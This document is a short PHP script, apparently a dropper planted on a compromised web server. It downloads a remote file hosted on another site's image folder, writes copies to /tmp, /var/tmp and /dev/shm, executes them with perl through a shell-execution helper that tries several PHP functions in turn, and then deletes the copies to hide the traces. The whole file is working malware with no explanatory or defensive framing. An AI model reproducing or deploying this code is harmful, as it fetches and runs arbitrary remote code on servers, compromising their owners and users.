15.php

<?php

ignore_user_abort(1);
set_time_limit(0);
function ex($cfe){
$res = "";
if (!empty($cfe)){
if(function_exists("exec")){
exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists("shell_exec")){
$res = shell_exec($cfe);
}
elseif(function_exists("system")){
ob_start();
system($cfe);
$res = ob_get_contents();
ob_end_clean();
}
elseif(function_exists("passthru")){
ob_start();
passthru($cfe);
$res = ob_get_contents();
ob_end_clean();
}
elseif(is_resource($f = popen($cfe,"r"))){
$res = "";
while(!feof($f)) { $res .= fread($f,1024); }
pclose($f);
}}
return $res;
}

$fileorkut="http://www.forumdomande.com/components/com_agora/img/members/0/nzen.txt";
$handle = fopen($fileorkut, "rb");
$tudao = "";
while (!feof($handle)) {
  $tudao .= fread($handle, 8192);
}
fclose($handle);

$handle=fopen("/tmp/aff2.txt", "w+");
fwrite($handle, $tudao);
fclose($handle);

$handle=fopen("/var/tmp/aff2.txt", "w+");
fwrite($handle, $tudao);
fclose($handle);

$handle=fopen("/dev/shm/aff2.txt", "w+");
fwrite($handle, $tudao);
fclose($handle);

echo ex("cd /tmp;perl aff2.txt");
echo ex("cd /var/tmp;perl aff2.txt");
echo ex("cd /dev/shm;perl aff2.txt");

echo ex("cd /tmp;rm -rf aff2.txt");
echo ex("cd /var/tmp;rm -rf aff2.txt");
echo ex("cd /dev/shm;rm -rf aff2.txt");


?>